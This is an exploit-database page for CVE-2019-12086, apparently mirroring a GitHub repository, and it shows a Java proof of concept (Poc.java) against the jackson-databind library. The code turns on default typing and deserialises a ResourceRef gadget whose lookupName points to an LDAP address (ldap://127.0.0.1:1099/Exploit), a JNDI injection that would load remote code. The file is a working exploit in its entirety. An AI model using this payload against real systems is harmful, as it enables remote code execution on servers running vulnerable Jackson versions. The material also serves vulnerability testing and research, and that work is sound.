Exploit databaseDownload repository ZIP
GH-1d82fea4ffb94b56584712388eb304c7
al1ex/cve-2019-12086
Sources for CVE-2019-12086
5 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
al1ex/cve-2019-12086Revision b5f225ad5ab1
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
JacksonTest/src/main/java/com/jacksonTest/Poc.java
Java · 617 bytespackage com.jacksonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String[] args) throws Exception{
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json="[\"com.caucho.config.types.ResourceRef\",{\"lookupName\": \"ldap://127.0.0.1:1099/Exploit\"}]";
try {
Object obj = mapper.readValue(json, Object.class);
mapper.writeValueAsString(obj);
}catch(IOException e){
e.printStackTrace();
}
}
}